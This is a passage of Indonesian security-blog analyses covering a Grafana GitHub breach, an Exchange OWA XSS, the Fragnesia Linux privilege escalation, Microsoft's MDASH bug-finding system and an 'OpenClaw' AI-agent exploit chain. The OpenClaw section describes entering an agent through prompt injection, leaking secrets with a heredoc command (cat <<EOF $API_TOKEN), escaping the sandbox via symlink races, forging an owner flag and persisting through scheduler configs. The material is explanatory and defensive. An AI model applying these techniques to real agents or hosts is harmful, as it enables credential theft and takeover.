Grafana GitHub Breach: Dari Credential Leak ke Pencurian Source Code Internal - Ethical Hacking Indonesia

Di banyak environment modern, GitHub menjadi control plane untuk hampir seluruh software lifecycle. Secrets, CI/CD, deployment workflow, infrastructure-as-code, signing pipeline, internal package registry, sampai automation token biasanya ikut terhubung ke sana. Begitu actor memperoleh token dengan scope yang salah, mereka tidak cuma membaca source code. Aktor mulai melihat struktur organisasi engineering secara presisi.

Baca Juga Tentang: Github Action Abuse

Grafana sendiri menyebut attacker memperoleh token yang memberikan akses ke GitHub environment mereka dan memungkinkan download codebase internal. Mereka juga mengatakan forensic analysis berhasil mengidentifikasi sumber kebocoran credential dan token tersebut sudah di-invalidasi.

Incident ini kemungkinan besar bukan exploit langsung terhadap GitHub ataupun Grafana infrastructure. Jalurnya lebih dekat ke credential compromise. Bisa melalui infostealer, leaked token pada workstation developer, CI artifact exposure, shell history, local git credential helper, atau third-party integration yang menyimpan PAT/token secara tidak aman.

Baca Juga Tentang: InfoStealer Malware

Attacker tampaknya tidak perlu mempertahankan persistence panjang di environment. Begitu token valid diperoleh, Git clone saja sudah cukup untuk monetisasi atau menekan pihak Grafana. Itu kasus paling umum yang makin sering muncul pada kelompok data-extortion modern. Mereka tidak selalu mengejar domain admin, ransomware deployment, atau destructive access. Kadang objective utamanya hanya mendapatkan dataset bernilai tinggi dengan friction rendah dan dwell time pendek.

Pada environment engineering modern, source code sendiri adalah target bernilai tinggi. Masalahnya bukan sekadar intellectual property. Codebase internal biasanya berisi:

• architecture map implisit,
• internal hostname,
• deployment topology,
• hardcoded secret yang terlupakan,
• API contract,
• feature flag,
• auth flow,
• debugging endpoint,
• legacy service path,
• build script,
• trust relationship antar sistem.

Bahkan ketika secrets sudah dipisahkan ke vault, code repository tetap memberi attacker visibility besar terhadap attack surface internal. Itu sebabnya akses read-only kadang cukup berbahaya. Di banyak incident GitHub-centric, escalation sebenarnya tidak berasal dari permission awal, tetapi dari secondary discovery setelah repository berhasil diakses. Misalnya:

• CI workflow ternyata menggunakan reusable token dengan scope lebih luas,
• pipeline artifact mengandung credential,
• GitHub Actions log menyimpan environment variable,
• internal package registry memakai static token,
• atau deployment script memiliki fallback credential.

State machine serangannya sederhana tetapi efektif. Credential leak - repository access - internal discovery - secret harvesting - lateral movement. Pada tahap awal, actor bahkan belum perlu menjalankan payload apa pun.

Kalau melihat claim yang beredar, grup yang dikaitkan dengan insiden ini adalah CoinbaseCartel. Attribution semacam ini memang selalu perlu hati-hati karena leak-site actor sering mengklaim korban opportunistically. Tetapi profil operasi mereka cukup cocok dengan pola incident semacam ini.

Mereka masuk kategori data-theft extortion, bukan ransomware tradisional. Artinya objective utama bukan encrypting infrastructure, tetapi memperoleh data yang cukup sensitif untuk dijadikan pressure material. Model seperti ini jauh lebih murah secara operasional dibanding ransomware deployment penuh. Tidak perlu bypass EDR secara agresif, tidak perlu persistence kompleks, tidak perlu encryption orchestration lintas domain. Begitu data berhasil diambil, pressure cycle langsung dimulai.

Baca Juga Tentang: ShinyHunters 

Kelompok seperti ini juga sering memanfaatkan credential yang sebenarnya sudah bocor jauh sebelumnya melalui infostealer ecosystem. Itu bagian yang sering diremehkan developer. Banyak compromise GitHub tidak dimulai dari exploit enterprise infrastructure, tetapi dari browser session, token lokal, atau credential sinkronisasi developer workstation. Satu developer machine yang terinfeksi infostealer beberapa bulan sebelumnya bisa menjadi initial access untuk incident skala perusahaan hari ini.

Terutama karena GitHub PAT dan session token sering hidup cukup lama. Yang cukup penting dari kasus Grafana adalah statement mereka bahwa tidak ada indikasi customer system terdampak. Akses repository tidak otomatis berarti akses production environment. Banyak organisasi memang memisahkan control boundary antara source platform dan runtime infrastructure. Tetapi separation seperti ini hanya aman kalau benar-benar enforced secara ketat. 

Detection engineer biasanya akan melihat beberapa area berikut setelah incident semacam ini:

• anomalous git clone volume,
• access dari ASN atau geography tidak biasa,
• token usage di luar developer pattern normal,
• API enumeration terhadap repository,
• mass archive download,
• workflow inspection,
• GitHub audit log anomalies,
• access terhadap private release artifact.

Bagi pentester, kasus seperti ini mengingatkan bahwa GitHub sekarang sering menjadi entry point reconnaissance paling bernilai dalam enterprise modern. Bukan cuma karena source code. Tetapi karena repository menjadi titik konvergensi atau menjadi titik awal dari tahap mapping ke tahap aksi:

• developer identity,
• automation,
• deployment,
• package management,
• infrastructure definition,
• dan operational secrets.

Begitu actor memahami graph relasi internal dari repository, attack surface perusahaan biasanya mulai terbuka dengan sendirinya. Ada detail lain yang cukup penting bahwa Grafana menyebut attacker mencoba melakukan blackmail agar codebase tidak dipublikasikan. Itu mengindikasikan actor menganggap monetisasi utama berasal dari sensitivitas source code itu sendiri, bukan dari encryption atau operational disruption. Artinya mereka percaya repository tersebut memiliki nilai strategis:

• proprietary logic,
• security-sensitive implementation,
• mungkin juga embedded secret atau deployment reference,
• atau minimal reputational leverage terhadap perusahaan.

Developer sering menganggap source code leak hanya masalah intellectual property. Dalam praktik incident response, efek jangka panjangnya lebih luas. Ketika attacker memiliki visibility penuh terhadap code path internal, mereka bisa:

• mencari auth bypass lebih efisien,
• memahami hidden feature,
• memetakan trust boundary,
• mempersingkat exploit development,
• atau menemukan service yang sebelumnya tidak terekspos publik.

Mitigasi untuk kasus seperti ini sebenarnya bukan sekadar rotate token setelah incident terjadi. Masalah utamanya ada pada lifecycle credential modern yang terlalu long-lived dan terlalu trusted. Beberapa area yang biasanya perlu dibenahi setelah incident seperti ini:

• short-lived GitHub token,
• strict repository scoping,
• hardware-backed MFA untuk developer,
• token binding,
• secret scanning pada commit dan CI log,
• isolated build runner,
• workstation hardening terhadap infostealer,
• dan audit terhadap GitHub Actions permission inheritance.

Yang sering terlambat disadari adalah GitHub organization sekarang praktis setara dengan privileged infrastructure. Kalau attacker memperoleh akses yang cukup dalam ke sana, mereka tidak lagi sekadar membaca code. Mereka mulai membaca cara perusahaan beroperasi secara keseluruhan.

Benediktus Sava – Security Researcher

Sumber: Grafana-X Ransomeware-Live Fortiguard Halcyon Grafana-Com

CVE-2026-42897: XSS di Microsoft Exchange OWA yang Berujung Session Hijacking dan Spoofing Internal - Ethical Hacking Indonesia

CVE-2026-42897 bukan tipe bug Exchange yang menarik karena kompleksitas memory corruption atau RPC parser. Posisi yang cukup terbatas: reflected atau stored XSS di jalur rendering Outlook on the web (OWA). Tetapi konteks tempat JavaScript itu berjalan membuat impact-nya jauh lebih besar dibanding XSS biasa pada aplikasi web generik.

Masalah utamanya ada pada posisi OWA sendiri. Browser korban sudah membawa session Exchange yang valid, token autentikasi aktif, akses mailbox internal, endpoint ECP/EWS yang reachable dari origin yang sama, dan sering kali berada di lingkungan enterprise dengan trust boundary yang longgar antar komponen Microsoft stack.

Begitu JavaScript attacker berhasil dieksekusi di origin OWA, attacker tidak lagi beroperasi sebagai external user. Tetapi berada di dalam konteks authenticated Exchange session milik korban.

Entry Point: Email sebagai Carrier Payload

Attacker mengirim specially crafted email ke target atau email phising yang berisikan payload ke yang sudah di rancang sedemikian rupa, payload kemudian diproses oleh pipeline rendering OWA ketika email dibuka dari browser. Di titik ini ada dua area yang biasanya relevan pada arsitektur Exchange: sanitization layer saat MIME/HTML email diproses, rendering layer OWA frontend. 

Baca Juga Tentang: Mail Attack

Masalah seperti ini umumnya muncul bukan karena HTML mentah langsung lolos namun karena  transformasi antar representasi data tidak konsisten. 

Contoh tipikalnya:

• sanitizer memvalidasi node sebelum canonicalization selesai
• encoding berubah setelah filtering
• atribut dianggap inert tetapi kemudian menjadi executable setelah DOM reconstruction
• HTML email diproses berbeda antara preview pane dan full open mode
• parser backend dan parser browser menghasilkan DOM akhir yang berbeda

Exchange historically punya attack surface yang cukup besar di area ini karena OWA harus menangani email HTML kompleks dari berbagai mail client, legacy MIME structure, inline attachment, calendar object, embedded image, sampai format Outlook proprietary, semua itu memperbesar kemungkinan adanya parser differential.

Baca Juga Tentang: MIME Type

Kenapa XSS di OWA Lebih Berbahaya

CVSS vulnerability ini masuk kategori spoofing, tetapi dari perspektif attacker, primitive yang paling menarik justru session execution di browser internal. Begitu payload berjalan, attacker memperoleh kemampuan untuk melakukan request sebagai user korban ke endpoint Exchange yang berada dalam same-origin policy yang sama.

Itu membuka beberapa jalur:

• akses mailbox via OWA endpoint
• abuse ECP functionality
• enumerasi internal object
• pembacaan email
• pengiriman email internal
• modifikasi rule mailbox
• token theft
• forced action terhadap administrator yang sedang login

Jika target browser ternyata memiliki hak akses atau admin dan helpdesk maka impak yang di hasilkan lebih besar juga karena mempermudah penyerang dalam melakukan movement di browser dan sistem yang di targetkan. OWA sendiri historically bukan frontend ringan sehingga banyak state management berjalan di client side dan browser mempertahankan cukup banyak informasi session. JavaScript arbitrary di origin itu bisa mengakses berbagai artefak yang biasanya tidak terlihat oleh attacker external.

Baca Juga Tentang: Browser Credential Harvesting

Bahkan tanpa cookie exfiltration pun attacker masih bisa melakukan authenticated action langsung melalui XMLHttpRequest atau fetch API karena browser korban sendiri yang mengirim credential. Jadi primitive awalnya sebenarnya bukan “execute arbitrary code” terhadap server Exchange secara langsung. Yang terjadi justru berpotensi: authenticated browser execution, session riding, dan trusted-origin action abuse. Tetapi pada environment enterprise, itu sering menjadi pivot menuju compromise yang lebih besar.

Mitigasi Yang Perlu Untuk dilakukan

Pada environment air-gapped atau server yang tidak dapat mengambil mitigasi otomatis, Microsoft menyediakan Exchange On-Premises Mitigation Tool (EOMT). Secara praktis, tool ini menerapkan konfigurasi mitigasi langsung ke Exchange melalui Exchange Management Shell. Untuk single server, mitigasi dijalankan menggunakan: .\EOMT.ps1 -CVE "CVE-2026-42897" Sedangkan untuk seluruh Exchange server non-Edge dalam organisasi: Get-ExchangeServer | Where-Object { $_.ServerRole -ne "Edge" } | .\EOMT.ps1 -CVE "CVE-2026-42897"

Hubungan dengan Inline Image dan Calendar Rendering

Efek samping mitigasi Microsoft memberi petunjuk cukup jelas mengenai area code path yang disentuh mitigasi. Beberapa fungsi yang rusak setelah mitigasi: inline image rendering, print calendar, dan OWA light mode. Karena ketiganya berkaitan dengan HTML generation dan rendering pipeline lama di OWA.

Artinya mitigasi kemungkinan besar tidak memperbaiki root parser issue secara penuh, tetapi memblok atau men-disable jalur rendering tertentu yang dianggap berisiko. 

Kenapa EEMS Diprioritaskan

Microsoft mendorong penggunaan Exchange Emergency Mitigation Service (EEMS) sebelum patch tersedia penuh. EEMS memungkinkan Microsoft mendorong mitigasi behavioral lebih cepat tanpa menunggu cumulative update penuh. Biasanya model mitigasi seperti ini bekerja dengan: IIS rewrite rule, URL blocking, configuration hardening, component disablement, request filtering bukan memperbaiki parser fundamental. 

Karena itu side effect pada feature rendering menjadi cukup besar. Ada detail lain yang cukup penting: server yang belum update sejak Maret 2023 bahkan tidak bisa menerima mitigasi baru otomatis. Itu berarti sebagian deployment Exchange on-prem kemungkinan sudah terlalu jauh tertinggal dari baseline mitigation framework Microsoft sendiri. Dari perspektif attacker, environment seperti ini: patch cadence kurang di manage, Exchange exposed ke internet dependency legacy tinggi, monitoring modern minim.

Exploit Chain yang Bisa Terjadi

Exploit chain yang berpotensi untuk vulnerability seperti ini biasanya tidak berhenti di mailbox user biasa. Target bernilai tinggi adalah: administrator Exchange, helpdesk, finance, executive assistant, dan shared mailbox operator. 

Begitu attacker mendapatkan eksekusi JavaScript di browser mereka, beberapa jalur post-exploitation terbuka: Mailbox Rule Abuse Attacker membuat forwarding rule tersembunyi atau rule auto-delete untuk persistence ringan, Internal Phishing Karena email dikirim dari account legitimate internal, trust rate jauh lebih tinggi dibanding external spoofing, Credential Relay terhadap Portal Internal Browser korban sering memiliki akses ke aplikasi enterprise lain dengan SSO aktif, ECP Interaction Pada kasus tertentu, endpoint administrasi Exchange dapat diakses dari origin yang sama atau session yang sama. dan jika kondisi terrsebut terpenuhi maka posisi ini bisa memberikan foothold kepada penyerang atau attacker. 

Benediktus Sava – Security Researcher

Sumber: Microsoft Microsoft-Mitigation Helpnetsecurity

Analisa Claw Chain: Eksploitasi Sandbox dan Runtime OpenClaw - Ethical Hacking Indonesia

OpenClaw pada dasarnya dibangun dengan asumsi bahwa agent tetap dapat diberi akses shell, filesystem, scheduler, dan integrasi SaaS selama seluruh operasi itu dibungkus oleh sandbox OpenShell. Masalahnya bukan karena sandbox sama sekali tidak bekerja, tetapi karena boundary yang dipakai ternyata hanya boundary logis berbasis validasi path dan validasi command sebelum runtime benar-benar mengeksekusinya.

Di Claw Chain, empat vulnerability berbeda saling melengkapi sampai akhirnya agent yang awalnya hanya memiliki akses terbatas di dalam sandbox dapat berubah menjadi entitas yang mengontrol runtime host secara persisten.

Entry point paling realistis sebenarnya tidak terlalu kompleks. Attacker cukup memperoleh eksekusi di dalam konteks agent, misalnya melalui plugin berbahaya, workflow automation, atau prompt injection yang berhasil memaksa agent menjalankan command tertentu. Setelah berada di dalam sandbox, attack surface OpenShell mulai terbuka.

CVE-2026-44112 dan CVE-2026-44113 berasal dari problem yang sama: OpenShell memvalidasi path filesystem sebelum operasi read atau write dilakukan, tetapi object filesystem yang dipakai saat validasi bukan object yang benar-benar digunakan ketika syscall final dieksekusi.

validate(path)

...

open(path)

Validation dilakukan terhadap canonical path yang masih dianggap aman dan masih berada di bawah mount root sandbox. Tetapi setelah validation selesai, masih ada gap kecil sebelum file benar-benar dibuka atau ditulis. Di interval itu attacker dapat mengganti target path menggunakan symlink atau manipulasi filesystem lain sehingga operasi final diarahkan ke lokasi di luar sandbox.

Pada CVE-2026-44113 primitive yang dihasilkan adalah arbitrary read. Ini terlihat sederhana sampai melihat bagaimana agent AI biasanya menyimpan state internal. Runtime OpenClaw memegang environment variable, token SaaS, connector credential, session artifact, dan berbagai konfigurasi yang memang dirancang agar dapat diakses agent secara otomatis. Begitu sandbox read boundary dilewati atau aturan logis bisa di lewati, attacker tidak hanya memperoleh file lokal biasa tetapi juga identitas digital yang dipakai agent untuk berinteraksi dengan sistem lain.

Yang membuat primitive ini kuat bukan volume file yang dapat dibaca, tetapi kualitas data yang berada di dalam runtime agent. Banyak deployment agent modern menyimpan token Slack, Discord, Telegram, API LLM, bahkan cloud credential langsung di environment variable atau konfigurasi lokal karena agent memang harus dapat melakukan orchestration lintas layanan tanpa intervensi manusia.

Bug ini berasal dari mismatch antara validator command dengan perilaku shell ketika runtime expansion terjadi. OpenClaw mencoba menerapkan allowlist command, tetapi validasi dilakukan sebelum shell memproses expansion dan substitution.

cat <<EOF

$API_TOKEN

EOF

Validator melihat command yang tampak aman karena secara literal tidak ada command berbahaya. Tetapi ketika shell mulai memproses heredoc, variable expansion tetap berjalan dan isi environment variable diekspose ke output command.

Masalah seperti ini sering muncul ketika developer memperlakukan shell parser sebagai parser satu tahap. Padahal shell memiliki lifecycle parsing bertingkat: lexical parsing, expansion, substitution, baru execution. Filtering yang hanya bekerja di tahap awal tidak benar-benar mengontrol semantic akhir command yang dieksekusi shell.

Baca Juga Tentang: OpenClaw - ClawJacked

Di OpenClaw, primitive disclosure dari heredoc ini sangat cocok dipasangkan dengan filesystem read escape sebelumnya. Satu vulnerability memberi akses ke file sensitif, yang lain memberi akses langsung ke environment runtime. Kombinasinya cukup untuk menguras hampir seluruh identitas yang dipakai agent.

Setelah token dan credential mulai terkumpul, chain bergerak ke CVE-2026-44118.

Kerentanan ini berada di mekanisme MCP loopback internal. OpenClaw memiliki komunikasi antar komponen runtime yang menggunakan flag seperti "senderIsOwner" untuk menentukan apakah suatu proses memiliki privilege tingkat owner.

Masalah utamanya bukan sekadar missing authorization biasa, tetapi trust boundary yang runtuh di jalur IPC lokal. Runtime mempercayai flag ownership yang dikirim client tanpa benar-benar mengikatnya kembali ke authenticated session yang valid. Secara praktis proses lokal dapat mengatakan: "senderIsOwner = true" dan runtime menerimanya sebagai identitas legitimate.

Di banyak sistem tradisional asumsi seperti ini sering muncul karena komunikasi loopback dianggap internal dan aman. Tetapi pada platform agent AI, attacker memang sudah diposisikan di dalam runtime sejak foothold awal berhasil diperoleh. Jadi seluruh komponen “internal only” otomatis berubah menjadi attack surface.

Begitu owner privilege diperoleh, attacker mulai dapat mengontrol scheduler, gateway configuration, execution environment, dan policy runtime. Pada titik ini sandbox praktis sudah kehilangan fungsi pembatasannya karena orchestrator yang mengelola sandbox sendiri sudah berada di bawah kontrol attacker. Tahap terakhir chain kembali menggunakan CVE-2026-44112, kali ini bukan untuk sekadar write escape tetapi untuk persistence.

Lingkungan agent AI, persistence tidak harus berbentuk malware tradisional atau service binary tambahan. Menulis ke konfigurasi scheduler, plugin manifest, startup workflow, atau execution policy sudah cukup untuk mempertahankan kontrol jangka panjang terhadap agent.

Karena seluruh aktivitas berjalan melalui proses agent legitimate, banyak telemetry keamanan terlihat normal. Process execution berasal dari binary resmi OpenClaw. Network activity berasal dari konektor yang memang biasa dipakai agent. Bahkan command execution sering tampak identik dengan workflow otomatis sehari-hari.

Ini yang membuat Claw Chain cukup berbeda dibanding kompromi aplikasi biasa. Agent AI modern pada dasarnya sudah memiliki akses luas sejak awal. Mereka memegang secret organisasi, memiliki kemampuan automation, dan dipercaya untuk menjalankan task lintas sistem. Ketika boundary internal seperti sandbox dan ownership validation gagal, attacker tidak perlu lagi membangun privilege dari nol. Sebagian besar privilege itu sebenarnya sudah tersedia di dalam runtime agent.

Dari sisi developer, problem terbesar yang terlihat di sini adalah penggunaan validasi berbasis representasi string untuk object yang sebenarnya mutable. Path filesystem bisa berubah setelah validation. Shell command bisa berubah semantic setelah expansion. Identity flag bisa dipalsukan ketika runtime hanya mempercayai metadata dari client.

Semua vulnerability di chain ini berasal dari asumsi bahwa state yang sudah divalidasi akan tetap identik sampai tahap execution berikutnya. Pada runtime yang asynchronous dan heavily automated seperti OpenClaw, asumsi seperti itu sangat rapuh.

Mitigasi paling penting tentu patch seluruh instance OpenClaw ke versi setelah 23 April 2026, tetapi langkah itu sendiri tidak cukup. Operator perlu menganggap seluruh credential yang pernah disentuh runtime agent sudah terekspos dan melakukan rotasi secret secara penuh. Infrastruktur agent juga sebaiknya diperlakukan seperti privileged automation environment, bukan sekadar aplikasi chatbot biasa.

Claw Chain pada akhirnya bukan cuma masalah race condition atau shell expansion. Rantai ini memperlihatkan bagaimana agent AI mulai menjadi execution layer utama di infrastruktur perusahaan, sementara banyak boundary internalnya masih dibangun menggunakan asumsi keamanan aplikasi konvensional.

Baca Juga tentang AI: Microsoft Ollama

Benediktus Sava – Security Researcher

Sumber:

Cyera  Cryptika Paloaltonetwork

Fragnesia (CVE-2026-46300): Kerentanan Page Cache Coruption Pada Linux via XFRM ESP-in-TCP - Ethical Hacking Indonesia

CVE-2026-46300 jalur ESP-in-TCP pada subsistem XFRM Linux kernel. Secara praktek bug ini bukan  memory corruption biasa, karena primitive yang didapat attacker langsung menyentuh page cache file-backed. Masalah utamanya bukan berasal dari parser paket yang gagal validasi atau overflow linear klasik. Root cause-nya lebih ke transisi state internal socket buffer setelah patch DirtyFrag sebelumnya mengubah asumsi ownership terhadap page fragment, karena bug ini memiliki kaitan dengan bug atau celah sebelumnya yang yaitu Dirty Frag. Begitu ownership model bergeser, jalur decrypt XFRM mulai bekerja terhadap memori yang sebenarnya masih mereferensikan page cache file asli.

Jalur Masuk: Namespace dan CAP_NET_ADMIN Palsu

Penyerang tidak punya CAP_NET_ADMIN di host utama, tetapi Linux tetap memberikan capability tersebut di namespace baru. Itu cukup untuk: membuat konfigurasi XFRM/IPsec, mengatur ESP-in-TCP, memasang key material melalui NETLINK_XFRM, dan mengontrol lifecycle socket yang dibutuhkan exploit. Kondisi tersebut membuat kondisi supaya kernel memperlakukan buffer tertentu sebagai traffic ESP valid. 

Aktivitas namespace + konfigurasi XFRM oleh proses non-network-facing userland sebetulnya sudah cukup aneh. Terutama bila host bukan appliance VPN atau node tunnel IPsec. Karena penyerang justru bisa menggunakan fitur isolasi ini untuk mendapatkan hak CAP_NET_ADMIN. 

Meskipun hak ini hanya berlaku di dalam kotak namespace tersebut, bug Fragnesia memungkinkan hak tersebut bocor dan memengaruhi Page Cache milik host utama. Ini adalah anomali besar di mana proses yang seharusnya terisolasi bisa memanipulasi memori global sistem. NETLINK_XFRM adalah saluran komunikasi khusus antara proses di userland dan kernel untuk mengatur aturan IPsec. Aktivitas tersebut tidak mungkin dilakukan oleh kondisi normal sistem karena bukan tidak memiliki fungsi dalam sistem.

Bagaimana Page Cache Bisa Masuk ke Receive Queue

Bagian penting exploit ada di penggunaan splice(), normalnya fungsional sistem receive queue TCP diisi skb yang berasal dari jaringan. Di bug ini justru memasukkan data dari file-backed page ke queue socket, sehingga membuat kernel menyimpan fragment yang masih terhubung ke page cache file asli. Ini penting karena sebagian besar mitigasi memory corruption modern bergantung pada pemisahan ownership memori: network buffer dianggap transient, page cache dianggap persistent, crypto transform diasumsikan bekerja pada buffer private. 

Fragnesia mematahkan asumsi tersebut, patch DirtyFrag sebelumnya ternyata mengubah alur tertentu sehingga fragment hasil splice tidak lagi diperlakukan secara defensif saat state socket berubah menjadi ESP-in-TCP, akibatnya fragment file-backed tersebut ikut melewati jalur decrypt. 

Root Cause: State Transition Socket yang Salah Asumsi

Masalah sebenarnya muncul ketika ESP-in-TCP diaktifkan setelah queue sudah terisi fragment splice, karena kernel menganggap data yang ada di receive queue merupakan payload ESP terenkripsi yang aman untuk diproses in-place padahal buffer tersebut bukan hasil receive jaringan biasa dan masih memegang referensi ke page cache file asli. Di jalur internal XFRM, decrypt dilakukan langsung terhadap fragment tanpa memastikan backing memory aman dimodifikasi. 

Di jalur internal XFRM, decrypt dilakukan langsung terhadap fragment tanpa memastikan backing memory aman dimodifikasi. Flow konseptual: file page cache - splice() - TCP receive queue - ESP-in-TCP enabled - XFRM decrypt path - in-place XOR transform - page cache corruption. Masalahnya adalah decrypt path memang dirancang untuk melakukan modifikasi buffer langsung agar supaya proses efisiensi, pada jalur normal itu valid karena skb payload mutable. Begitu fragment berasal dari page cache, model mutability berubah total, dan bug ini terjadi karena networking subsystem, page cache, dan crypto transform (boundary).

Primitive Utama: Controlled XOR ke File-Backed Memory

Primitive exploit Fragnesia cukup clean karena ESP decryption pada dasarnya menghasilkan plaintext = ciphertext XOR keystream. Karena proses exploit bekerja dengan mengontrol: ciphertext key, material XFRM, dan timing aktivasi ESP yang bisa memprediksi hasil akhir XOR pada fragment page cache. Jadi ini bukan arbitrary write penuh seperti memcpy bebas offset. Lebih ke deterministic bit manipulation terhadap cached executable content. Executable ELF sangat sensitif terhadap beberapa byte awal: entry stub, branch instruction, credential check, dan loader path. 

Perubahan kecil bisa mengubah flow eksekusi total, Dalam demonstrasi, target yang dipakai adalah /usr/bin/su. penggunaan file tersebut karena, executable tersebut hampir selalu tersedia, dijalankan setuid root, dan mudah dipicu ulang setelah page cache berubah. Disk file asli tetap utuh, coruption hanya terjadi pada representasi cached di memori kernel. Karena Linux lebih memilih page cache dibanding reload disk langsung, proses baru akan mengeksekusi versi yang sudah dimodifikasi exploit.

Kenapa Primitive Kecil Ini Cukup untuk Root

Fragnesia menargetkan executable privileged, attacker tidak perlu ROP kompleks atau pivot heap besar. Mereka cuma perlu: memodifikasi beberapa instruction, mem-bypass auth branch atau mengganti flow menuju shell spawn sederhana. Begitu binary setuid dieksekusi ulang, privilege escalation terjadi secara natural lewat mekanisme UNIX normal. 

Yang membuatnya menarik adalah exploit chain ini hampir tidak menyentuh userspace memory corruption tradisional. Tidak ada: stack smash, heap feng shui besar, dan use-after-free klasik. Eksploitasi murni bermain di: page ownership, skb fragment lifecycle, dan crypto transform semantics. 

Kenapa Patch DirtyFrag Melahirkan Bug Baru

Fragnesia cukup relevan buat developer kernel karena memperlihatkan pola umum patch regression pada subsistem kompleks. DirtyFrag sebelumnya mencoba memperbaiki corruption flow tertentu dengan mengubah handling fragment dan reference semantics. Tetapi perubahan kecil pada ownership expectation ternyata membuka jalur baru ketika: socket state berubah dinamis, fragment sudah berada di queue, dan subsystem lain mengasumsikan buffer mutable ini tipe bug yang sulit terlihat lewat audit lokal. Karena secara teknis splice logic tampak, XFRM decrypt, skb handling tampak valid.

Masalah baru muncul ketika seluruh lifecycle digabung, itulah sebabnya fuzzing subsystem tunggal sering tidak cukup untuk bug seperti ini.

Langkah Mitigasi

Kalau host tidak membutuhkan IPsec ESP:  printf 'install esp4 /bin/false\ninstall esp6 /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf rmmod esp4 esp6 2>/dev/null. Pendekatan ini efektif karena memotong jalur exploit sebelum XFRM ESP aktif. Kalau IPsec wajib dipakai, pembatasan user namespace lebih relevan: echo "user.max_user_namespaces=0" > /etc/sysctl.d/dirtyfrag.conf sysctl --system. 

Ini tidak memperbaiki bug inti, tetapi memutus kemampuan attacker memperoleh CAP_NET_ADMIN terisolasi. Untuk environment containerized, mitigasi ini perlu dihitung hati-hati karena banyak runtime modern bergantung pada user namespaces dan patch kernel terbaru tetap jadi solusi utama karena root cause ada pada transisi ownership fragment di jalur XFRM.

Baca Juga Tentang: CopyFail DirtyFrag

Benediktus Sava – Security Researcher

Sumber:

RedHat Wiz Canonical CloudLinux

MDASH AI Security Microsoft Menemukan UAF di Kernel Windows - Ethical Hacking Indonesia

Selama bertahun-tahun, static analysis di kernel Windows selalu mentok di titik yang sama: local reasoning. Scanner bisa melihat sinkronisasi yang hilang dalam satu fungsi, bisa melihat dereference setelah free secara linear, tapi mulai gagal ketika lifecycle object tersebar lintas callback, lintas subsystem, atau bahkan lintas file yang ownership-nya implisit.

MDASH mencoba menyelesaikan masalah itu bukan dengan model lebih pintar, tetapi dengan memecah proses audit menjadi sistem reasoning bertingkat.Yang menarik bukan sekadar penggunaan LLM. Banyak vendor sudah melakukan itu. Yang berubah di sini adalah bentuk orchestration-nya.

Microsoft membangun harness yang memperlakukan vulnerability research seperti proses engineering internal: ada auditor, ada debater, ada prover, lalu semuanya bekerja di atas plugin domain-specific yang memahami aturan kernel sebenarnya.

Masalah Utama Scanner Tradisional

Mayoritas scanner gagal pada bug modern karena state corruption sekarang jarang bersifat lokal. Race-condition kernel modern hampir selalu melibatkan: reference counting, deferred cleanup, asynchronous completion, ownership ambiguity, allocator reuse di CPU berbeda, dan kondisi state machine protocol yang tidak linear.

Pada CVE-2026-33827 di tcpip.sys, masalahnya bukan hanya pointer dipakai setelah free tetapi bug muncul karena lifecycle object path routing berubah saat opsi IPv4 SSRR diproses dalam jalur penerimaan paket. Objek kehilangan reference lebih awal, lalu execution flow lain masih menganggap object tersebut valid. Di sistem SMP, window race menjadi cukup besar karena allocator kernel bisa langsung mendaur ulang chunk yang baru dibebaskan sebelum traversal berikutnya selesai menggunakan pointer lama.

Scanner biasa cenderung gagal karena: free terjadi di file berbeda, dereference terjadi di callback, berbeda timing corruption, bergantung scheduler ownership, dan object tidak eksplisit di AST lokal. Dengan MDASH masalah ini bisa di pecahkan menjadi reasoning graph lintas state, bukan sekadar pattern matching syntax seperti pada teknik tradisional atau konvesional. 

Prepare Stage

Tahap prepare terdengar sederhana di dokumentasi Microsoft, tetapi sebenarnya ini fondasi penting. Mereka tidak hanya membangun symbol index namun membangun konteks eksploitasi melalui record atau dokumentasi sebelumnya. Riwayat commit digunakan untuk memetakan area kode yang historically fragile: parser jaringan, lock-heavy subsystem, IRP dispatch chain, allocator-sensitive path, legacy compatibility layer. Ini penting karena bug kernel modern sering muncul di area yang sudah lama mengalami patch churn. Semakin sering suatu subsystem disentuh untuk compatibility atau hardening, semakin tinggi probabilitas invariant internal mulai beribah ke arah yang bisa memicu kerentanan atau bug.

Untuk ethical hacker, hal ini menarik karena secara praktis meniru workflow manusia saat triage target besar: cari subsystem yang historically noisy,  ownership ambiguity, asynchronous cleanup, dan transisi state yang tidak lengkap. MDASH hanya mengotomatisasi proses itu dalam skala besar. 

Auditor dan Debater: Kenapa False Positive Bisa Turun

Static analyzer biasanya menghasilkan noise besar karena semua path dianggap reachable sampai dibuktikan sebaliknya, MDASH memiliki kemampuan untuk menguji hasil dari static analyzer dengan cara agent auditor melakukan dugaan atau hipotesis dan di debat oleh agent debater dengan tujuan untuk mematahkan asumsi atau membuktikan asumsi tersebut yang di hasilkan oleh debater, dan sekara teknis ini merupakan teknik merubah disagreement menjadi signal yang diperhitungkan oleh agent. Jika auditor tetap bertahan setelah proses adversarial internal, confidence score naik. Secara praktis, ini mirip proses code review antar exploit developer. Sistem yang terlalu agresif menghasilkan ribuan laporan tidak berguna. Dalam environment kernel production, noise seperti itu lebih berguna daripada missed bug kecil.

CVE-2026-33827: Race-Condition UAF di tcpip.sys

Temuan CVE dari MDASH ini menunjukan bahwa SSRR sendiri bukan jalur kode yang sering diuji sehingga langsung meningkatkan probabilitas invariant lama tertinggal, sebab MDASH perlu melihat histori dari dokumentasi yang di berikan. Berikut merupakan flow teknis dari CVE ini:

1. Paket IPv4 dengan opsi routing diproses 

2. Path object dibuat/referenced

3. Kondisi tertentu memicu pelepasan reference lebih awal

4. Traversal networking lain masih menyimpan pointer lama

5. CPU lain melakukan allocator reuse

6. Stale pointer dipakai ulang dalam jalur navigasi paket

Yang membuat ini berbahaya bukan UAF tetapi reuse karena dalam kernel networking, reuse allocator sering terjadi sangat cepat karena traffic packet processing bersifat bursty dan highly parallel. Akibatnya attacker tidak selalu perlu kontrol presisi penuh terhadap heap layout. Kadang cukup menciptakan pressure allocator yang membuat object lama tertimpa struktur baru dengan shape yang kompatibel sebagian.

Cross-File Reasoning pada ikeext.dll

